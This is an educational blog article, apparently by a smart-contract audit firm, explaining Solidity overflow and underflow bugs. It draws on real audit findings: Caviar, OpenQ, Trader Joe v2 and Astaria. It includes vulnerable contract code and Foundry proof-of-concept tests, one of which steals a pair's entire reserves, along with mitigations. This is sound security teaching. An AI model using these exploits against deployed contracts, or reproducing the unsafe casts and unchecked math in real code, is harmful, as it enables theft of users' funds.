Back to Blog 

SolidityWeb3 SecurityAudit
Overflow & Underflow in Solidity: Real Audit Findings, Code Examples & Practice Exercise
19 min
Improve your knowledge on overflow and underflow vulnerabilities by going through an explanation, known high and medium issues from real audits, and an exercise to practice.
In this article, I have gathered an explanation for a very popular vulnerability in Solidity, a few high and medium issues that are not a one-time thing but that you will potentially find in other protocols during your next audits.
And I am adding an exercise to practice what you have learned.
This is part of a series of articles where I am going to go through some of the most popular attack vectors.
Content
Description

In Solidity you're going to mainly see
uint data types used instead of int like in many other programming languages.What does that imply?
That, as you see in the picture above, when you have a variable of type
uint8, its maximum value is 2^8 - 1, or 255.And if you add 1 to 255, the result is not going to be 256 but 0. That is what is known as overflow.
Similarly, if you deduct 1 from a
uint8 = 0, and taking into account that uint data types only hold positive numbers, the result will be 255. This is known as underflow.Now, this applies to all
uint sizes, so don't think it's any different with uint256. For instance, adding 3 to its maximum number: 2^256 + 3 = 2.Related: Underflow isn't just a math error — it can freeze entire protocols. Read Denial of Service Attacks on Smart Contracts to see how a missing bounds check before a subtraction locked all deposits and withdrawals in a real DeFi vault.
Types of high issues
1. Silent overflow
Title: Risk of silent overflow in reserves update
Project: Caviar Private Pools
What is Silent Overflow?
Silent overflow occurs when casting is attempted from a larger type that holds a value bigger than the smaller type's max value. For example, using a wrapper such as
uint128(tokenIds) when the value was previously declared as uint256.Here is a simple demonstration in Remix:
1function silentOverflow(uint16 num) pure external returns (uint8) {2 return uint8(num);3}
Passing 1000 as the parameter for
silentOverflow returns 232.Code with vulnerability
1function buy(2 uint256[] calldata tokenIds,3 uint256[] calldata tokenWeights,4 MerkleMultiProof calldata proof5)6 public7 payable8 returns (uint256 netInputAmount, uint256 feeAmount, uint256 protocolFeeAmount)9{10 // ~~~ Checks ~~~ //1112 // calculate the sum of weights of the NFTs to buy13 uint256 weightSum = sumWeightsAndValidateProof(tokenIds, tokenWeights, proof);1415 // calculate the required net input amount and fee amount16 (netInputAmount, feeAmount, protocolFeeAmount) = buyQuote(weightSum);17 ...18 // update the virtual reserves19 virtualBaseTokenReserves += uint128(netInputAmount - feeAmount - protocolFeeAmount);20 virtualNftReserves -= uint128(weightSum);21 ...22}2324function sell(25 uint256[] calldata tokenIds,26 uint256[] calldata tokenWeights,27 MerkleMultiProof calldata proof,28 IStolenNftOracle.Message[] memory stolenNftProofs29) public returns (uint256 netOutputAmount, uint256 feeAmount, uint256 protocolFeeAmount) {30 // ~~~ Checks ~~~ //3132 // calculate the sum of weights of the NFTs to sell33 uint256 weightSum = sumWeightsAndValidateProof(tokenIds, tokenWeights, proof);3435 // calculate the net output amount and fee amount36 (netOutputAmount, feeAmount, protocolFeeAmount) = sellQuote(weightSum);3738 ...3940 // ~~~ Effects ~~~ //4142 // update the virtual reserves43 virtualBaseTokenReserves -= uint128(netOutputAmount + protocolFeeAmount + feeAmount);44 virtualNftReserves += uint128(weightSum);4546 ...47}
Vulnerability description
The
buy() and sell() functions update the virtualBaseTokenReserves and virtualNftReserves variables during each trade.However, these two variables are of type
uint128, while the values that update them are of type uint256.This means that casting to a lower type is necessary, but this casting is performed without first checking that the values being cast can fit into the lower type.
As a result, there is a risk of a silent overflow occurring during the casting process.
Impact
If the reserves variables are updated with a silent overflow, it can lead to a breakdown of the
xy=k equation. This would result in a totally incorrect price calculation, causing potential financial losses for users or pool owners.Proof of concept
Consider the scenario with a base token that has a high decimals number described in the next test (add it to
test/PrivatePool/Buy.t.sol):1function test_Overflow() public {2 // Setting up pool and base token HDT with high decimals number - 303 // Initial balance of pool - 10 NFT and 100_000_000 HDT4 HighDecimalsToken baseToken = new HighDecimalsToken();5 privatePool = new PrivatePool(6 address(factory),7 address(royaltyRegistry),8 address(stolenNftOracle)9 );10 privatePool.initialize(11 address(baseToken),12 nft,13 100_000_000 * 1e30,14 10 * 1e18,15 changeFee,16 feeRate,17 merkleRoot,18 true,19 false20 );2122 // Minting NFT on pool address23 for (uint256 i = 100; i < 110; i++) {24 milady.mint(address(privatePool), i);25 }26 // Adding 8 NFT ids into the buying array27 for (uint256 i = 100; i < 108; i++) {28 tokenIds.push(i);29 }30 // Saving K constant (xy) value before the trade31 uint256 kBefore = uint256(privatePool.virtualBaseTokenReserves()) *32 uint256(privatePool.virtualNftReserves());3334 // Minting enough HDT tokens and approving them for pool address35 (uint256 netInputAmount,, uint256 protocolFeeAmount) = privatePool.buyQuote(8 * 1e18);36 deal(address(baseToken), address(this), netInputAmount);37 baseToken.approve(address(privatePool), netInputAmount);3839 privatePool.buy(tokenIds, tokenWeights, proofs);4041 // Saving K constant (xy) value after the trade42 uint256 kAfter = uint256(privatePool.virtualBaseTokenReserves()) *43 uint256(privatePool.virtualNftReserves());4445 // Checking that K constant was changed due to silent overflow46 assertEq(kBefore, kAfter, "K constant was changed");47}
Add this contract into the end of
Buy.t.sol for proper test work:1contract HighDecimalsToken is ERC20 {2 constructor() ERC20("High Decimals Token", "HDT", 30) {}3}
Mitigation
Add checks that the casting value is not greater than the
uint128 type max value:1// File: PrivatePool.sol2// Line 229: update the virtual reserves3if (netInputAmount - feeAmount - protocolFeeAmount > type(uint128).max) revert Overflow();4virtualBaseTokenReserves += uint128(netInputAmount - feeAmount - protocolFeeAmount);5if (weightSum > type(uint128).max) revert Overflow();6virtualNftReserves -= uint128(weightSum);78// File: PrivatePool.sol9// Line 322: update the virtual reserves10if (netOutputAmount + protocolFeeAmount + feeAmount > type(uint128).max) revert Overflow();11virtualBaseTokenReserves -= uint128(netOutputAmount + protocolFeeAmount + feeAmount);12if (weightSum > type(uint128).max) revert Overflow();13virtualNftReserves += uint128(weightSum);
2. Missing validation for a parameter passed to an external function
Title: Adversary can lock every deposit forever by making a deposit with
_expiration = type(uint256).max
Project: OpenQPrior information
In Solidity, for an integer type
X, you can use type(X).min and type(X).max to access the minimum and maximum value representable by the type.Code with vulnerability
1function fundBountyToken(2 address _bountyAddress,3 address _tokenAddress,4 uint256 _volume,5 uint256 _expiration,6 string memory funderUuid7) external payable onlyProxy {8 IBounty bounty = IBounty(payable(_bountyAddress));910 ...1112 require(bountyIsOpen(_bountyAddress), Errors.CONTRACT_ALREADY_CLOSED);1314 (bytes32 depositId, uint256 volumeReceived) = bounty.receiveFunds{15 value: msg.value16 }(msg.sender, _tokenAddress, _volume, _expiration);1718 ...19}
Vulnerability description
DepositManagerV1 allows the caller to specify _expiration which specifies how long the deposit is locked.An attacker can specify a deposit with
_expiration = type(uint256).max which will cause an overflow in the BountyCore#getLockedFunds sub-call and permanently break refunds.DepositManagerV1's function fundBountyToken allows the depositor to specify an _expiration which is passed directly to BountyCore's function receiveFunds().BountyCore stores the _expiration in the expiration mapping:1expiration[depositId] = _expiration;
When requesting a refund,
getLockedFunds returns the amount of funds currently locked. The line to focus on is depositTime[depList[i]] + expiration[depList[i]]:1function getLockedFunds(address _depositId)2 public3 view4 virtual5 returns (uint256)6{7 uint256 lockedFunds;8 bytes32[] memory depList = this.getDeposits();9 for (uint256 i = 0; i < depList.length; i++) {10 if (11 block.timestamp <12 depositTime[depList[i]] + expiration[depList[i]] &&13 tokenAddress[depList[i]] == _depositId14 ) {15 lockedFunds += volume[depList[i]];16 }17 }1819 return lockedFunds;20}
An attacker can cause
getLockedFunds to always revert by making a deposit in which:1depositTime[depList[i]] + expiration[depList[i]] > type(uint256).max
causing an overflow.
To exploit this the user would make a deposit with
_expiration = type(uint256).max which will cause a guaranteed overflow.This causes
DepositManagerV1's function refundDeposit to always revert, breaking all refunds.Mitigation
Add the following check to
DepositManagerV1's function fundBountyToken():1require(_expiration <= type(uint128).max);
3. Funds stolen due to an overflow inside an unchecked block
Title: Attacker can steal entire reserves by abusing fee calculation
Project: Trader Joe v2
What is the purpose of "unchecked" in Solidity?
The
unchecked keyword exists to allow Solidity developers to write more efficient programs.The default "checked" behavior costs more gas when calculating because under the hood those checks are implemented as a series of opcodes that, prior to performing the actual arithmetic, check for under/overflow and revert if it is detected.
So if you're a Solidity developer who needs to do some math in 0.8.0 or greater, and you can prove that there is no possible way for your arithmetic to under/overflow, then you can surround the arithmetic in an
unchecked block.Code with vulnerability
1function _beforeTokenTransfer(2 address _from,3 address _to,4 uint256 _id,5 uint256 _amount6) internal override(LBToken) {7 unchecked {8 super._beforeTokenTransfer(_from, _to, _id, _amount);910 Bin memory _bin = _bins[_id];1112 if (_from != _to) {13 if (_from != address(0) && _from != address(this)) {14 uint256 _balanceFrom = balanceOf(_from, _id);1516 _cacheFees(_bin, _from, _id, _balanceFrom, _balanceFrom - _amount);17 }1819 if (_to != address(0) && _to != address(this)) {20 uint256 _balanceTo = balanceOf(_to, _id);2122 _cacheFees(_bin, _to, _id, _balanceTo, _balanceTo + _amount);23 }24 }25 }26}
Vulnerability description
In Trader Joe, users can call
mint() to provide liquidity and receive LP tokens, and burn() to return their LP tokens in exchange for underlying assets.Users collect fees using
collectFees(account, binID).Fees are implemented using the debt model. The fundamental fee calculation is:
1function _getPendingFees(2 Bin memory _bin,3 address _account,4 uint256 _id,5 uint256 _balance6) private view returns (uint256 amountX, uint256 amountY) {7 Debts memory _debts = _accruedDebts[_account][_id];
Are you audit-ready?
Download the free Pre-Audit Readiness Checklist used by 30+ protocols preparing for their first audit.
No spam. Unsubscribe anytime.
1amountX = _bin.accTokenXPerShare.mulShiftRoundDown(_balance, Constants.SCALE_OFFSET) -2 _debts.debtX;3amountY = _bin.accTokenYPerShare.mulShiftRoundDown(_balance, Constants.SCALE_OFFSET) -4 _debts.debtY;
}
12`accTokenXPerShare` and `accTokenYPerShare` is an ever-increasing amount that is updated when swap fees are paid to the current active bin.34When liquidity is first minted to a user, the `_accruedDebts` is updated to match current `_balance * accToken*PerShare`.56Without this step, a user could collect fees for the entire growth of `accToken*PerShare` from zero to current value.78This is done in `_updateUserDebts()`, called by `_cacheFees()` which is called by `_beforeTokenTransfer()`, the token transfer hook triggered on mint/burn/transfer.910The critical problem lies in `_beforeTokenTransfer()`'s condition block:1112```solidity13if (_from != _to)
Note that if
_from or _to is the LBPair contract itself, _cacheFees() won't be called on _from or _to respectively.This was presumably done because it is not expected that the LBToken address will receive any fees. It is expected that the LBToken will only hold tokens when a user sends LP tokens to burn.
This is where the bug manifests -- the LBToken address (and 0 address) will collect freshly minted LP token's fees from 0 to the current
accToken*PerShare value.Proof of concept
The attack flow is:
- Transfer amount X to pair
- Call
pair.mint()with thetoaddress = pair address - Call
collectFees()with pair address as account -- pair will send fees to itself. Both OZ ERC20 and LBToken implementations allow self-transfers, which is what makes this exploit chain work - Pair will now think user sent in money because the bookkeeping is wrong.
_pairInformation.feesX.totalis decremented incollectFees()but the balance did not change - This calculation will credit the attacker with the fees collected into the pool:
1uint256 _amountIn = _swapForY2 ? tokenX.received(_pair.reserveX, _pair.feesX.total)3 : tokenY.received(_pair.reserveY, _pair.feesY.total);
- The attacker calls
swap()and receives reserve assets using the fees collected - Attacker calls
burn(), passing their own address as_toparameter. This will successfully burn the minted tokens from step 1 and give Attacker their deposited assets
Here's the test to add in
LBPair.Fees.t.sol for the PoC:1function testAttackerStealsReserve() public {2 uint256 amountY = 53333333333333331968;3 uint256 amountX = 100000;45 uint256 amountYInLiquidity = 100e18;6 uint256 totalFeesFromGetSwapX;7 uint256 totalFeesFromGetSwapY;89 addLiquidity(amountYInLiquidity, ID_ONE, 5, 0);10 uint256 id;11 (,, id) = pair.getReservesAndId();1213 // swap X -> Y and accrue X fees14 (uint256 amountXInForSwap, uint256 feesXFromGetSwap) = router.getSwapIn(pair, amountY, true);15 totalFeesFromGetSwapX += feesXFromGetSwap;1617 token6D.mint(address(pair), amountXInForSwap);18 vm.prank(ALICE);19 pair.swap(true, DEV);2021 uint256 amount0In = 100e18;2223 uint256[] memory _ids = new uint256[](1);24 _ids[0] = uint256(ID_ONE);25 uint256[] memory _distributionX = new uint256[](1);26 _distributionX[0] = uint256(Constants.PRECISION);27 uint256[] memory _distributionY = new uint256[](1);28 _distributionY[0] = uint256(0);2930 token6D.mint(address(pair), amount0In);31 pair.mint(_ids, _distributionX, _distributionY, address(pair));32 uint256[] memory amounts = new uint256[](1);33 for (uint256 i; i < 1; i++) {34 amounts[i] = pair.balanceOf(address(pair), _ids[i]);35 }36 uint256[] memory profit_ids = new uint256[](1);37 profit_ids[0] = 8388608;38 pair.collectFees(address(pair), profit_ids);39 pair.swap(true, BOB);4041 pair.burn(_ids, amounts, BOB);42}
Note that if the contract did not have the entire
collectFees code in an unchecked block, the loss would be limited to the total fees accrued:1if (amountX != 0) {2 _pairInformation.feesX.total -= uint128(amountX);3}4if (amountY != 0) {5 _pairInformation.feesY.total -= uint128(amountY);6}
If the attacker would try to overflow the
feesX or feesY totals, the call would revert.Unfortunately, because of the
unchecked block, feesX or feesY would overflow and therefore there would be no problem for an attacker to take the entire reserves.Impact
The attacker can steal the entire reserves of the LBPair.
Mitigation
The code should not exempt any address from
_cacheFees().Even
address(0) is important because the attacker can collectFees for the 0 address to overflow the FeesX or FeesY variables, even though the fees are not retrievable for them.Types of medium issues
1. Assuming all ERC20 tokens have a similar amount of decimals
Title:
changeFeeQuote will fail for low decimal ERC20 tokens
Project: Caviar Private PoolsDo all ERC20 tokens have the same amount of decimals?
The answer is no, there are some exceptions:
Low decimals:
Some tokens have low decimals (e.g. USDC has 6). Even more extreme, some tokens like Gemini USD only have 2 decimals. This may result in larger than expected precision loss.
High decimals:
Some tokens have more than 18 decimals (e.g. YAM-V2 has 24). This may trigger unexpected reverts due to overflow, posing a liveness risk to the contract.
Vulnerability description
Private pools have a "change" fee setting that is used to charge fees when a change is executed in the pool (user swaps tokens for some tokens in the pool).
This setting is controlled by the
changeFee variable, which is intended to be defined using 4 decimals of precision:1// @notice The change/flash fee to 4 decimals of precision.2// For example, 0.0025 ETH = 25. 500 USDC = 5_000_000.3uint56 public changeFee;
In the case of an ERC20 this should be scaled accordingly based on the number of decimals of the token.
The implementation is defined in the
changeFeeQuote function:1function changeFeeQuote(uint256 inputAmount)2 public3 view4 returns (uint256 feeAmount, uint256 protocolFeeAmount)5{6 // multiply the changeFee to get the fee per NFT (4 decimals of accuracy)7 uint256 exponent = baseToken == address(0)8 ? 18 - 49 : ERC20(baseToken).decimals() - 4;10 uint256 feePerNft = changeFee * 10 ** exponent;1112 feeAmount = inputAmount * feePerNft / 1e18;13 protocolFeeAmount = feeAmount * Factory(factory).protocolFeeRate() / 10_000;14}
The main issue is that if the token decimals are less than 4, the subtraction will cause an underflow due to Solidity's default checked math, causing the whole transaction to revert.
Such tokens with low decimals exist. One major example is GUSD (Gemini dollar), which has only two decimals.
If any of these tokens are used as the base token of a pool, then any call to the change will be reverted, as the scaling of the charge fee will result in an underflow.
Proof of concept
In the following test we recreate the "Gemini dollar" token (GUSD) which has 2 decimals and create a Private Pool using it as the base token.
Any call to
change or changeFeeQuote will be reverted due to an underflow error:1function test_PrivatePool_changeFeeQuote_LowDecimalToken() public {2 // Create a pool with GUSD which has 2 decimals3 ERC20 gusd = new GUSD();45 PrivatePool privatePool = new PrivatePool(6 address(factory),7 address(royaltyRegistry),8 address(stolenNftOracle)9 );10 privatePool.initialize(11 address(gusd), // address _baseToken12 address(milady), // address _nft13 100e18, // uint128 _virtualBaseTokenReserves14 10e18, // uint128 _virtualNftReserves15 500, // uint56 _changeFee16 100, // uint16 _feeRate17 bytes32(0), // bytes32 _merkleRoot18 false, // bool _useStolenNftOracle19 false // bool _payRoyalties20 );2122 // The following will fail due to an underflow.23 // Calls to `change` function will always revert.24 vm.expectRevert();25 privatePool.changeFeeQuote(1e18);26}
Mitigation
The implementation of
changeFeeQuote should check if the token decimals are less than 4 and handle this case by dividing by the exponent difference to correctly scale it:1changeFee / (10 ** (4 - decimals))
For example, in the case of GUSD with 2 decimals, a
changeFee value of 5000 should be treated as 0.50.2. Neglecting the transfer fees from some ERC20 tokens
Title: Tokens with fee on transfer are not supported in
PublicVault.sol
Project: AstariaFees on Transfer
Some tokens take a transfer fee (e.g. STA, PAXG), some do not currently charge a fee but may do so in the future (e.g. USDT, USDC).
The STA transfer fee was used to drain $500k from several balancer pools.
Vulnerability description
Should a fee-on-transfer token be added to the
PublicVault, the tokens will be locked in the PublicVault.sol contract. Depositors will be unable to withdraw their rewards.In the current implementation, it is assumed that the received amount is the same as the transfer amount. However, due to how fee-on-transfer tokens work, much less will be received than what was transferred.
As a result, later users may not be able to successfully withdraw their shares, as it may revert in
_redeemFutureEpoch():1WithdrawProxy(s.epochData[epoch].withdrawProxy).mint(shares, receiver);
when
WithdrawProxy is called due to insufficient balance.Proof of concept
Fee-on-transfer scenario:
- Contract calls
transferFromfrom contractA: 100 tokens to current contract - Current contract thinks it received 100 tokens
- It updates balances to increase by +100 tokens
- While actually the contract received only 90 tokens
- That breaks whole math for given token
Mitigation
There are two possibilities:
- Compare before and after balances to get the actual transferred amount
- Disallow tokens with fee-on-transfer mechanics to be added as tokens
Your time to practice
Since you have learned the theory and gone through some examples of high and medium severity issues, it is time for you to practice.
Use the Ethernaut tool where you actually need to hack a smart contract in order to complete the level.
Go ahead and try the Token level to prove to yourself you understand overflow and underflow.
Get in touch
At Zealynx, we specialize in smart contract security audits and vulnerability prevention. Whether you need an overflow/underflow review or a full protocol audit, our team is ready to help you ship secure code. Reach out to start the conversation.
Want to stay ahead with more in-depth analyses like this? Subscribe to our newsletter and ensure you don't miss out on future insights.
FAQ: Overflow and Underflow in Solidity
1. What is an overflow in Solidity?
An overflow occurs when an arithmetic operation produces a value that exceeds the maximum value a data type can hold. For example, adding 1 to a
uint8 variable storing 255 wraps around to 0 instead of becoming 256.2. What is an underflow in Solidity?
An underflow occurs when an arithmetic operation produces a value below the minimum value a data type can hold. For a
uint8 variable storing 0, subtracting 1 wraps around to 255 because unsigned integers cannot represent negative numbers.3. Does Solidity 0.8.0+ automatically prevent overflow and underflow?
Yes, starting from Solidity 0.8.0, arithmetic operations revert on overflow and underflow by default. However, developers can bypass this protection by wrapping operations in an
unchecked block, which re-introduces the risk for gas optimization purposes.4. What is a silent overflow and why is it dangerous?
A silent overflow happens when you cast a larger integer type (e.g.,
uint256) to a smaller one (e.g., uint128) and the value exceeds the smaller type's maximum. Solidity does not revert on explicit type casts, so the value silently wraps, potentially breaking critical protocol math like AMM pricing curves.5. How do I protect my smart contracts from overflow/underflow?
Use Solidity 0.8.0+ with default checked math. When using
unchecked blocks, carefully prove that overflow is impossible. When downcasting between integer sizes, always validate that the value fits in the target type before casting. Consider using SafeCast libraries for all type conversions.Glossary
| Term | Definition |
|---|---|
| Overflow | A condition where an arithmetic operation produces a result larger than the maximum value the data type can store, causing the value to wrap around to zero. |
| Underflow | A condition where an arithmetic operation produces a result smaller than the minimum value the data type can store, causing the value to wrap to the maximum. |
| Unchecked Block | A Solidity 0.8.0+ feature that disables automatic overflow/underflow checks within the block for gas optimization, re-introducing wrapping behavior. |
| Silent Overflow | An overflow that occurs during explicit type casting (e.g., uint256 to uint128) which Solidity does not revert on, silently truncating the value. |
| Fee-on-Transfer | A token mechanism where a percentage of each transfer is taken as a fee, causing the received amount to differ from the sent amount. |
Unchecked Arithmetic in Your Protocol? Get It Reviewed.
Silent overflows from unsafe downcasts and unchecked blocks in AMM pricing curves are a common source of critical findings. Our EVM audits cover every
unchecked block, all explicit type casts, and fee-on-transfer token interactions where decimal math can silently wrap.Are you audit-ready?
Download the free Pre-Audit Readiness Checklist used by 30+ protocols preparing for their first audit.
No spam. Unsubscribe anytime.


